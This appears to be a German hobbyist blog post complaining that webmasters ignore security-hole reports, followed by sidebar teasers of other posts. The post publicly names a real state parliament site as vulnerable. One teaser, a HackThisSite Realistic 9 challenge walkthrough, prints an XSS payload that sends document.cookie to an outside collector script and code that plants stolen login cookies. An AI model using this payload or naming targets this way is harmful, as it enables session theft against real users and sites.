Direkt zum Hauptbereich

Seitenbetreiber und Sicherheit??

Also ich weiß nicht wie es die Seitenbetreiber des Landes ja aber
auch Firmen mit Sicherheitslücken umgehen!!
Es scheint den meisten relativ egal zu sein. Frei nach dem
Motto ach sollen die doch die Datenbank Löschen ;-)
Nur zu auf hopp. Also Liebe Webmaster ich will es mal
ohne Technogebrabbel mit einem einfachen für jeden verständlichen
Beispiel erklären:

Würdet ihr euer Auto nicht Abgeschlossen, am Besten mit offenen Türen, Schlüssel
in der Zündung Steckend, in der Königstraße stehen lassen?

Ich weiß nicht aber ich würde mal sagen mit Sicherheit nicht. Denn dann könnte es
ja geklaut werden.

Daher muss ich mich fragen, warum lassen dann manche ihre Internetseite einfach so
mit offenen Türen und den Schlüssel in der Zündung Steckend im Internet stehen????

Okay ihr wisst es vielleicht nicht. Aber wenn ich euch ne email schicken würde mit
dem Hinweis, Hey dein Porsche steht mit offenen Türen und laufendem Motor auf dem Hof
ich könnte jede Wette abschließen dass ihr sofort herunter Stürm und den Fehler behebt.

( Also, Motor aus, Schlüssek abziehen, Türen und Fenster schließen, Abschließen, eventuell nochmal testen ob auch alles zu ist.)

Für diese Aktion würdet ihr weniger als eine Stunde benötigen. Aber warum Antwortet ihr nicht
auf die email wenn ich schreibe, hallo ihr Auto (vergleich), also ihre Datenbank steht offen rum, nicht. Nein ich erwarte doch garnicht dass man mir dankt, nein ich will auch keine anerkennung, ich möchte dass ihr die Lücke schließt ja.

So schwer ist dass doch nicht. Ich habe weder ein Informatik Studium noch eine Ausblidung. Warum zum T*** kann ich es besser als Ihr???

Ich weiß wie man es richtig macht. Da läuft doch was schief ??

Für meinen Teil habe ich nun entschlossen die Sicherheitslöcher, sofern mir welche ins Auge springen einfach zu veröffentlichen.
Dann könnt ihr doch selbst nachlesen ob eure Seite betroffen ist, aber nein ihr müsst es nicht lesen. Ihr macht doch sowieso nichts.

Also Liebe Webmaster, für alle dies wissen wollen der landtag-bw.de ist sehr anfällig.

Ps: Wenn euer Auto nicht abgeschlossen geklaut wird dann Zahlt eure Vollkasko nicht, dass ist grob Fahrlässig. Warum ist es nicht grob Fahrlässig wissentlich mit einer Sicherheitslücke im Netz zu stehen?

Kommentare

Beliebte Posts aus diesem Blog

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

Linearen Notenschlüssel mit nodejs berechnen

Linearen Notenschlüssel berechnen / Method chaining in nodejs Hintergrund/Motivation: Ein kleines altes Nebenprojekt von mir war eine Schüler/Notenverwaltung Software in Java geschrieben. Das kleine Programm ist etwas in die Jahre gekommen und da wollte ich kleine teile von der Software nach nodejs portieren und es etwas auffrischen. Und zum start habe ich die Berechnung der Noten nach einem Linearen Notenschlüssel portiert. Also die dahinter liegende Klasse. Kurze Beschreibung der Eigenschaften der Klasse: Die Klasse soll die Berechnung anhand der Maximalen zu erreichenden Punkzahl und der erreichten Punkzahl des Schülers berechnen. Es gibt folgende Attribute: defaultPoints => fallback falls maxPoints nicht gesetzt wird maxPoints => Maximal zu erreichende Punkte im Test/Arbeit reachedPonts => Erreichte Punktzahl des Schülers Darüber hinaus sollen die setter der Klasse via   Method chaining  einfacher und kürzer aufrufbar sein, hierzu ein kleiner Pse...

Magento - Simple Google Shopping - Add PHP code direct in XML Template

Magento - Extension "Simple Google Shopping" von wyomind Um das Template anzupassen gibt es hier auch die Möglichkeit PHP code direkt in das XML Template zu schreiben.  Dies kann hilfreich sein wenn man Felder aus Magento ändern möchte und dazu ein if Konstrukt benötigt. Hier ein Beispielhaftes Template für Simple Google Shopping mit PHP code direkt im template: Wichtig: der code muss ein "return" statement besitzen. Denn nur der Wert welcher vom PHP Block returned wird, ist nacher im google shopping XML file vorhanden.   Simple Google Shopping Extension